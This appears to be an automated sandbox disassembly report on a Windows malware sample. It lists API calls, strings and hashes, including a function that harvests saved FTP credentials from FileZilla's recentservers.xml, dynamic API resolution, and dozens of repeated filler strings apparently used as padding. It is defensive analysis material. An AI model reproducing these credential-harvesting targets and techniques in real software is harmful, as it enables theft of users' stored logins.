lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$Heap$AllocProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 3684275442-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 6C1C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C24F688,00001000), ref: 6C1C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C1C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C1C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C1C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C1C369F
__aulldiv.LIBCMT ref: 6C1C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C1C3773
EnterCriticalSection.KERNEL32(6C24F688), ref: 6C1C377E
LeaveCriticalSection.KERNEL32(6C24F688), ref: 6C1C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C1C37C4
EnterCriticalSection.KERNEL32(6C24F688), ref: 6C1C37CB
LeaveCriticalSection.KERNEL32(6C24F688), ref: 6C1C3801
__aulldiv.LIBCMT ref: 6C1C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C1C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C1C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C1C394C

Strings

AuthcAMDenti, xrefs: 6C1C3946
GTC, xrefs: 6C1C3912
QPC, xrefs: 6C1C38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C1C35DB
GenuntelineI, xrefs: 6C1C3639

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 02b53d2b44edfcebb6351c226358c83badc7439b9ea59c27c1a1e420d6c34e67
Instruction ID: 0ceb906bebf8d97938c27b78c70532fb6c8beea1f91bbc471fc779fdc354a660
Opcode Fuzzy Hash: 02b53d2b44edfcebb6351c226358c83badc7439b9ea59c27c1a1e420d6c34e67
Instruction Fuzzy Hash: 09B1C371B093109BDB08EF29C44865BB7F5ABDA708F05C92DED99D3790D7749901CB82

Function 6C1DC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C1DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C1DC969
GetSystemInfo.KERNEL32(?), ref: 6C1DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C1DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C1DC9E2

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 2f970ca4a28fa0e97629c911aa4a08b74110b921417ed78fbe6f5f082645b0d0
Instruction ID: e78a380c834c31aa2545ee2823a5f93ad0b6c570e37cfc65cc67eac88c1ddfa4
Opcode Fuzzy Hash: 2f970ca4a28fa0e97629c911aa4a08b74110b921417ed78fbe6f5f082645b0d0
Instruction Fuzzy Hash: 7421FC35741614ABDB18BA28DC98BAE73B9AB86708F614519FD47A7AC0DB706C04CB90

Function 00405000 Relevance: 3.8, APIs: 3, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
HeapAlloc.KERNEL32(00000000), ref: 00405021
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$AllocProcessmemcpy
String ID:
API String ID: 4164033339-0
Opcode ID: f41d2cb06437f678c138a8aab9bea3ed0b685f25b19439ba06f49e9e8cae6bb0
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: f41d2cb06437f678c138a8aab9bea3ed0b685f25b19439ba06f49e9e8cae6bb0
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 00419270 Relevance: 51.0, APIs: 28, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,024ACDA0,?,004164A0), ref: 004192B1
GetProcAddress.KERNEL32(74DD0000,024AC258,?,004164A0), ref: 004192CA
GetProcAddress.KERNEL32(74DD0000,024AC1C8,?,004164A0), ref: 004192E2
GetProcAddress.KERNEL32(74DD0000,024AC150,?,004164A0), ref: 004192FA
GetProcAddress.KERNEL32(74DD0000,024AC1B0,?,004164A0), ref: 00419313
GetProcAddress.KERNEL32(74DD0000,024A64D8,?,004164A0), ref: 0041932B
GetProcAddress.KERNEL32(74DD0000,024A4528,?,004164A0), ref: 00419343
GetProcAddress.KERNEL32(74DD0000,024A47A8,?,004164A0), ref: 0041935C
GetProcAddress.KERNEL32(74DD0000,024AC0A8,?,004164A0), ref: 00419374
GetProcAddress.KERNEL32(74DD0000,024AC1E0,?,004164A0), ref: 0041938C
GetProcAddress.KERNEL32(74DD0000,024AC0C0,?,004164A0), ref: 004193A5
GetProcAddress.KERNEL32(74DD0000,024AC1F8,?,004164A0), ref: 004193BD
GetProcAddress.KERNEL32(74DD0000,024A4828,?,004164A0), ref: 004193D5
GetProcAddress.KERNEL32(74DD0000,024AC240,?,004164A0), ref: 004193EE
GetProcAddress.KERNEL32(74DD0000,024AC2E8,?,004164A0), ref: 00419406
GetProcAddress.KERNEL32(74DD0000,024A4848,?,004164A0), ref: 0041941E
GetProcAddress.KERNEL32(74DD0000,024AC180,?,004164A0), ref: 00419437
GetProcAddress.KERNEL32(74DD0000,024AC300,?,004164A0), ref: 0041944F
GetProcAddress.KERNEL32(74DD0000,024A4808,?,004164A0), ref: 00419467
GetProcAddress.KERNEL32(74DD0000,024AC168,?,004164A0), ref: 00419480
GetProcAddress.KERNEL32(74DD0000,024A4868,?,004164A0), ref: 00419498
GetProcAddress.KERNEL32(75A70000,024AC090,?,004164A0), ref: 00419512
GetProcAddress.KERNEL32(75290000,024AC210,?,004164A0), ref: 00419533
GetProcAddress.KERNEL32(75290000,024AC228,?,004164A0), ref: 0041954B
GetProcAddress.KERNEL32(75BD0000,024AC270,?,004164A0), ref: 0041956D
GetProcAddress.KERNEL32(75450000,024A4548,?,004164A0), ref: 0041958E
GetProcAddress.KERNEL32(76E90000,024A64E8,?,004164A0), ref: 004195AF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess,?,004164A0), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: AddressProc
String ID: NtQueryInformationProcess
API String ID: 190572456-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00410090 Relevance: 42.4, APIs: 14, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

strtok_s.MSVCRT(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT(004101EF,?,?,004101EF,?,00000000,00000009,-00000010), ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT(-00000010,?,?,-00000010), ref: 004183A3

lstrlenA.KERNEL32(00000000), ref: 0041021D
lstrlenA.KERNEL32(00000000), ref: 00410267
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
strtok_s.MSVCRT(00000000,?,?), ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT(?,00000000,00000004), ref: 0041051D

Strings

profile: null, xrefs: 004103A8
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
browser: FileZilla, xrefs: 00410399
<User>, xrefs: 00410250
<Pass encoding="base64">, xrefs: 0041029A
url: , xrefs: 004103B7
login: , xrefs: 0041040A
<Port>, xrefs: 00410206
password: , xrefs: 0041043B
<Host>, xrefs: 004101BC

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$Heapstrtok_s$AllocProcessmallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 214747351-555421843
Opcode ID: 0cc8e1157d5661dd7b41f8e4961c0cdbdf7fe6c43a5f367f0e925aa519aeb564
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: 0cc8e1157d5661dd7b41f8e4961c0cdbdf7fe6c43a5f367f0e925aa519aeb564
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00405150 Relevance: 32.1, APIs: 13, Strings: 8, Instructions: 569
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404800: ??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,024CAB70,00000000,?,024A89F0,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E

Strings

--, xrefs: 004052D0
------, xrefs: 00405407
", xrefs: 00405756
", xrefs: 004054D2
------, xrefs: 0040568B
------, xrefs: 00405549
", xrefs: 00405614
------, xrefs: 004052E7

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
